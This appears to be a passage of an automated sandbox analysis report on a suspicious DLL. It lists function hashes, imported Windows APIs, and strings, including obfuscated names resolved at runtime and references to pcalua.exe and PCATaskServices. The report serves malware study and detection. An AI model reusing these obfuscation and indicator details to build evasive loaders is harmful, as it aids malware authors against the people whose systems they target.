Opcode ID: cc424cd87dc3fb5dfb12eb40c03a994bd3e22559fd57ec7cbc76ca48f43aa789
Instruction ID: 25cae636e3534881f3df93b7c032f89b6b54456407e3843a89ad024f51935d2c
Opcode Fuzzy Hash: cc424cd87dc3fb5dfb12eb40c03a994bd3e22559fd57ec7cbc76ca48f43aa789
Instruction Fuzzy Hash: 54A011B0B00200CB8B008F32820A20C3AF8BB0AA88300802AA228C0A00EB2080208A80

Function 6CDF9959 Relevance: .4, Instructions: 385COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a0688953b8229d36f3f729b3109c13c1692770998b7d115b43c92da77dfaa8d
Instruction ID: c52cb0e2635e79ad48ba41dbd70e5b36d683ae0d47335511580f40522514783a
Opcode Fuzzy Hash: 3a0688953b8229d36f3f729b3109c13c1692770998b7d115b43c92da77dfaa8d
Instruction Fuzzy Hash: EED1AC30E01606CFCB14DF69C590AAAB7B1FF45318F225619D57A9BBB0D330A987CB50

Function 6CDF95FA Relevance: .3, Instructions: 333COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2b18fe3246c76dc307690f3d0a7eb3827e0edc18df1346a820f55dee45cc28c
Instruction ID: b8d3061c45f3a3595798a3389f45c08cfbbed54a6f7807aa6b64ae967e277001
Opcode Fuzzy Hash: b2b18fe3246c76dc307690f3d0a7eb3827e0edc18df1346a820f55dee45cc28c
Instruction Fuzzy Hash: FBC1BB34D0574ACFC715CF69C580AAEBBB1BB06318F224619D4B697EB0C731A94BCB61

Function 6CDF92B8 Relevance: .3, Instructions: 318COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5191a47a0b446d7300654493dc4f987b40672c006d093a1fc7eb273ca4c1194d
Instruction ID: a289070ebf5775f0ad4752aec457140e8668ab9446b0843e26e683f5046d0e6b
Opcode Fuzzy Hash: 5191a47a0b446d7300654493dc4f987b40672c006d093a1fc7eb273ca4c1194d
Instruction Fuzzy Hash: 1EB1AE70D0560ACACB15CF68C490AAEB7F1BB4530CF16061ED8B697FB0C762A647CB55

Function 6CE06329 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 6CE06070: CreateFileW.KERNEL32(00000000,00000000,?,6CE063D2,?,?,00000000,?,6CE063D2,00000000,0000000C), ref: 6CE0608D

GetLastError.KERNEL32 ref: 6CE0643D
__dosmaperr.LIBCMT ref: 6CE06444
GetFileType.KERNEL32(00000000), ref: 6CE06450
GetLastError.KERNEL32 ref: 6CE0645A
__dosmaperr.LIBCMT ref: 6CE06463
CloseHandle.KERNEL32(00000000), ref: 6CE06483
CloseHandle.KERNEL32(00000000), ref: 6CE065D0
GetLastError.KERNEL32 ref: 6CE06602
__dosmaperr.LIBCMT ref: 6CE06609

Strings

H, xrefs: 6CE0658E

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: d3f22ef862b965942c272c16a11c98257fb83b5597d972cfd745b84c5de87379
Instruction ID: 45b338f39885e80bcd4acd9d75af6a638e8c99389cca5c9b90409eb0be9cac87
Opcode Fuzzy Hash: d3f22ef862b965942c272c16a11c98257fb83b5597d972cfd745b84c5de87379
Instruction Fuzzy Hash: 5EA11332B041559FCF098F68C851BAE7BB5AB47328F24024DEC11DB791DB358966CBD1

Function 6CDF1274 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 149libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,000003E8,00000000,00000000), ref: 6CDF12AB
GetProcAddress.KERNEL32(?), ref: 6CDF131D
GetProcAddress.KERNEL32(?), ref: 6CDF1388
GetProcAddress.KERNEL32(?), ref: 6CDF13F6

Strings

QtAoBKRBQRAvBKZBbRAzBD;BadAwBDVBadA3BEZBZRAzBDhBZRAjBDtBYRA[BB>>, xrefs: 6CDF12B1
QdAsBD7BYBALBDVBfBA3BFZBbRApBDVBUtB>, xrefs: 6CDF1325
kernel32.dll, xrefs: 6CDF12A6
QdAsBD7BYBADBDhB`dAyBKRBQdAsBDtBYRA[BB>>, xrefs: 6CDF1395

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: QdAsBD7BYBADBDhB`dAyBKRBQdAsBDtBYRA[BB>>$QdAsBD7BYBALBDVBfBA3BFZBbRApBDVBUtB>$QtAoBKRBQRAvBKZBbRAzBD;BadAwBDVBadA3BEZBZRAzBDhBZRAjBDtBYRA[BB>>$kernel32.dll
API String ID: 667068680-2765630095
Opcode ID: 45564cd1df150ab7dbbc628e6f45e0c53d7915506d181a82d16ca34f192e5ad7
Instruction ID: 425c6344d658a48c52f5a1f54e224fa0f0ec4f1c6bfd8078fbe2181997159c11
Opcode Fuzzy Hash: 45564cd1df150ab7dbbc628e6f45e0c53d7915506d181a82d16ca34f192e5ad7
Instruction Fuzzy Hash: 235106B1D002889BCB25CFA8DC919EEBBB4BF49308F15812DD961D7B51EB31951DCB60

Function 6CE06710 Relevance: 13.9, APIs: 9, Instructions: 354COMMON

Download Yara Rule

APIs

mydllmain.UIFTTNKL2R(00000000,?), ref: 6CE067C7

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: mydllmain
String ID:
API String ID: 979097349-0
Opcode ID: 72b7d4d62d11674e5481037c0333d9c038b14fca1d2a74066183c7589bf8a711
Instruction ID: 67f4da6d1bec6f5e9f1b6000aa58b14403ff77c4906f81fe86b027ad3a7ee607
Opcode Fuzzy Hash: 72b7d4d62d11674e5481037c0333d9c038b14fca1d2a74066183c7589bf8a711
Instruction Fuzzy Hash: F9E15D31F4422A8BCB25CF1889817DDB7B9AB59304F2481E9D898E7B01D670AED48FD0

Function 6CDF4786 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 6CDF48A5
___TypeMatch.LIBVCRUNTIME ref: 6CDF49B3
_UnwindNestedFrames.LIBCMT ref: 6CDF4B05
CallUnexpected.LIBVCRUNTIME ref: 6CDF4B20

Strings

csm, xrefs: 6CDF48DC
csm, xrefs: 6CDF4830
csm, xrefs: 6CDF47C3

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: e4c5e4d7f6205273afa9c9b04dd51d1405daa3bcc43178d3e99fb498a2080327
Instruction ID: 997eff579f9f4d4b10920e0034ec8fdb8b0fdf839abcc3950d48b6f17865fbb3
Opcode Fuzzy Hash: e4c5e4d7f6205273afa9c9b04dd51d1405daa3bcc43178d3e99fb498a2080327
Instruction Fuzzy Hash: A2B16A71804219EFCF05CFA5CA8099EB7B5BF04318F16425AE9307BA21D731DA56CFA6

Function 6CDF4090 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 6CDF40C7
___except_validate_context_record.LIBVCRUNTIME ref: 6CDF40CF
_ValidateLocalCookies.LIBCMT ref: 6CDF4158
__IsNonwritableInCurrentImage.LIBCMT ref: 6CDF4183
mydllmain.UIFTTNKL2R(?,00000001), ref: 6CDF419C
_ValidateLocalCookies.LIBCMT ref: 6CDF41D8

Strings

csm, xrefs: 6CDF416D

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_recordmydllmain
String ID: csm
API String ID: 2845398917-1018135373
Opcode ID: e27e630f3de56f3f9abe7f793f8af1083c37b4ce17176d04900e3f2ed5ccbfae
Instruction ID: 25bc80b62971eac95ec2666a3ab8c38fb621d7975d24c8010b6569e63c649116
Opcode Fuzzy Hash: e27e630f3de56f3f9abe7f793f8af1083c37b4ce17176d04900e3f2ed5ccbfae
Instruction Fuzzy Hash: F4418334A01209DFCF00DF69C980A9EBBB5FF45328F15815AE8389BB61D731DA56CB91

Function 6CDFE73F Relevance: 10.8, APIs: 7, Instructions: 329COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 6CDFE7C5

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: dccc5fed7eae1ac0f2b9dc4a4a5c9194eecbad04fa69afc9fd44217c599bdb86
Instruction ID: bde302714e3582dea2042b3f93d2c5c0a3a3695a4739685e07f364c0e2e0b923
Opcode Fuzzy Hash: dccc5fed7eae1ac0f2b9dc4a4a5c9194eecbad04fa69afc9fd44217c599bdb86
Instruction Fuzzy Hash: 61B14432A05399DFEB118F68C880BAEBBB5FF46314F164155E864ABB91D3749902C7E0

Function 6CE01EAA Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 79COMMON

Download Yara Rule

Strings

3 l, xrefs: 6CE01EFB
C:\Windows\system32\loaddll32.exe, xrefs: 6CE01EC6

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID:
String ID: 3 l$C:\Windows\system32\loaddll32.exe
API String ID: 0-1795641527
Opcode ID: b6a2112bbe9228fb9c9d048d777419a38d09d1f1061546018f3a1f7f2f9ee234
Instruction ID: 79067004ee339bce1677c60b3ff8fa11fbe43582b9e005394efbfee4124cc4d1
Opcode Fuzzy Hash: b6a2112bbe9228fb9c9d048d777419a38d09d1f1061546018f3a1f7f2f9ee234
Instruction Fuzzy Hash: 92215E31708206AF9B109FE6CC4199B77B9BF423AC7254619E864DBF50E731E82587E0

Function 6CDFF7B5 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,6CDFF8C4,6CDF5FC1,B583E81C,00000000,6CDFA99A,00000000,?,6CDFFA3D,00000022,FlsSetValue,6CE0D4F0,ccs,6CDFA99A), ref: 6CDFF876

Strings

api-ms-, xrefs: 6CDFF80C
ext-ms-, xrefs: 6CDFF820

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: ae8f04d9a92ccc47a107f3aaf904254b1b1d3bdd7bc796fb8cd79cc5e353af15
Instruction ID: 405cddab5b2cc517201c4f2089265643c4184dac276e0659c5f811b74e5e073c
Opcode Fuzzy Hash: ae8f04d9a92ccc47a107f3aaf904254b1b1d3bdd7bc796fb8cd79cc5e353af15
Instruction Fuzzy Hash: CA210872F01119E7DB119B65CC80B4A77B8BB43378F260125E935A7790D730E912C6D0

Function 6CDFC20A Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,FAB51140,6CDFA99A,?,00000000,6CE0A770,000000FF,?,6CDFC1A4,B583E81C,?,6CDFC178,?), ref: 6CDFC23F
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6CDFC251
mydllmain.UIFTTNKL2R(B583E81C,?,00000000,6CE0A770,000000FF,?,6CDFC1A4,B583E81C,?,6CDFC178,?), ref: 6CDFC262
FreeLibrary.KERNEL32(00000000,?,00000000,6CE0A770,000000FF,?,6CDFC1A4,B583E81C,?,6CDFC178,?), ref: 6CDFC273

Strings

mscoree.dll, xrefs: 6CDFC238
CorExitProcess, xrefs: 6CDFC249

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProcmydllmain
String ID: CorExitProcess$mscoree.dll
API String ID: 361333426-1276376045
Opcode ID: 7590220388d4d6b3c9e613662b4e0c24b37da2d81281bf934a98d98083edd542
Instruction ID: dc5e5c27f21268c63dcde9a36d8c752134f9fded225fe38b764fde346fa98487
Opcode Fuzzy Hash: 7590220388d4d6b3c9e613662b4e0c24b37da2d81281bf934a98d98083edd542
Instruction Fuzzy Hash: B5018F31B04619EBDB119B90CC09FAEBBB8FB45B15F104529E822A2690DB359910CAD0

Function 6CDFDBF7 Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47ec99b5c8bb707002f006cb681261f56ad97a74cb9623aa1d5cf861a412e95b
Instruction ID: 2c63f7196531f16a3d049d74ace63d2bd4c2700609c8b44d10c9453455a02bd4
Opcode Fuzzy Hash: 47ec99b5c8bb707002f006cb681261f56ad97a74cb9623aa1d5cf861a412e95b
Instruction Fuzzy Hash: 47B10670A04289EFDB01CF99C840BEEBBB1BF5A318F164159E57497BA1C7709947CBA0

Function 6CDF1795 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 335COMMONLIBRARYCODE

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 6CDF1871

Strings

PCATaskServices, xrefs: 6CDF1B2E
PT32S, xrefs: 6CDF1AFD
pcalua.exe, xrefs: 6CDF1B24
%sk, xrefs: 6CDF1A6A

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: __fread_nolock
String ID: %sk$PCATaskServices$PT32S$pcalua.exe
API String ID: 2638373210-541710397
Opcode ID: 93ed09e847bc4bcd7e1a10286dd3b184cde09ab031ad6cf8d039585eae59893c
Instruction ID: 33a573849c30ce536214a39ab89cc6ccbf498b23aaf1faddf216a5cb1ae97be1
Opcode Fuzzy Hash: 93ed09e847bc4bcd7e1a10286dd3b184cde09ab031ad6cf8d039585eae59893c
Instruction Fuzzy Hash: B5C19572900249ABDF15DFA4CC45BEE77B4FF08308F154119E915BB7A0EB749A0ACBA1

Function 6CDF444F Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6CDF43CD,6CDF33F7,6CDF2DC4,?,6CDF2FFC,?,00000001,?,?,00000001,?,6CE11F78,0000000C,6CDF30F5), ref: 6CDF445D
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6CDF446B
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6CDF4484
SetLastError.KERNEL32(00000000,6CDF2FFC,?,00000001,?,?,00000001,?,6CE11F78,0000000C,6CDF30F5,?,00000001,?), ref: 6CDF44D6

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 7c34103202058e9c109f043cd923a0c0f43cbf135862b2b6b901cdfdb1025db5
Instruction ID: c5c4dc36d06cfabf014f882ef020fbe85c651f24d1d169326bb09731bceb14c5
Opcode Fuzzy Hash: 7c34103202058e9c109f043cd923a0c0f43cbf135862b2b6b901cdfdb1025db5
Instruction Fuzzy Hash: 2C01283230D611ADAA001B756E8565B37B4FB0237C722432EF57452DF0FF92482B4194

Function 6CE06DA4 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 6CE06E29
__alloca_probe_16.LIBCMT ref: 6CE06EF2
__freea.LIBCMT ref: 6CE06F59

Part of subcall function 6CDFE25E: HeapAlloc.KERNEL32(00000000,6CE02423,?,?,6CE02423,00000220,?,?,?), ref: 6CDFE290

__freea.LIBCMT ref: 6CE06F6C
__freea.LIBCMT ref: 6CE06F79

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 53104b49fcb10f8949d789a013479e9623a108b507c3814dab78e362bf678a22
Instruction ID: 2e7b02de5a7d3c899db5fc23a150b96ac2ec42c0c04379bb547c7650deaa65d5
Opcode Fuzzy Hash: 53104b49fcb10f8949d789a013479e9623a108b507c3814dab78e362bf678a22
Instruction Fuzzy Hash: 6651B072711606ABEB108F648C86FAB3BBDEF4565CB310129FD14DAA50E730CCA5C6E0

Function 6CDF452F Relevance: 7.7, APIs: 5, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

mydllmain.UIFTTNKL2R(6CE12080,00000010,6CDF46A1,?,?,?,?,6CE120A0,00000008,6CDF4725,?,?,?,00000000), ref: 6CDF458E
___AdjustPointer.LIBCMT ref: 6CDF45F6
___AdjustPointer.LIBCMT ref: 6CDF4619
___AdjustPointer.LIBCMT ref: 6CDF46B5

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: AdjustPointer$mydllmain
String ID:
API String ID: 3586548312-0
Opcode ID: 7c5805ce92dfc8a1440261eb806d3e816d7bb23834e4b7da1578dcb81c377faf
Instruction ID: dca39e9f974f2c2877948a5696615083e4b316848623e6c8a5cdd41c4b8ddfd0
Opcode Fuzzy Hash: 7c5805ce92dfc8a1440261eb806d3e816d7bb23834e4b7da1578dcb81c377faf
Instruction Fuzzy Hash: 8E51CF72606206DFEB158F10CA50BEA73B4BF44319F224529E8354BAB0E731E956CB50

Function 6CDF5562 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,6CDF5513,00000000,?,00000001,?,?,?,6CDF5602,00000001,FlsFree,6CE0BCD8,FlsFree), ref: 6CDF556F
GetLastError.KERNEL32(?,6CDF5513,00000000,?,00000001,?,?,?,6CDF5602,00000001,FlsFree,6CE0BCD8,FlsFree,00000000,?,6CDF4524), ref: 6CDF5579
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 6CDF55A1

Strings

api-ms-, xrefs: 6CDF5586

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 26d0bcda0daf060657cf9922a09ee87ac861555935ead9fdc94cf7d382fb54f7
Instruction ID: d68f2693b1a365badb6a4ae4511271442a115e96ca9cc4a1433ae5d21e571346
Opcode Fuzzy Hash: 26d0bcda0daf060657cf9922a09ee87ac861555935ead9fdc94cf7d382fb54f7
Instruction Fuzzy Hash: 19E04F30B4420CFBEF111FA1DC05B493B76BB02B58F258020F92CE89E1FB63952186C8

Function 6CE00698 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(FAB51140,00000000,00000000,?), ref: 6CE006FB

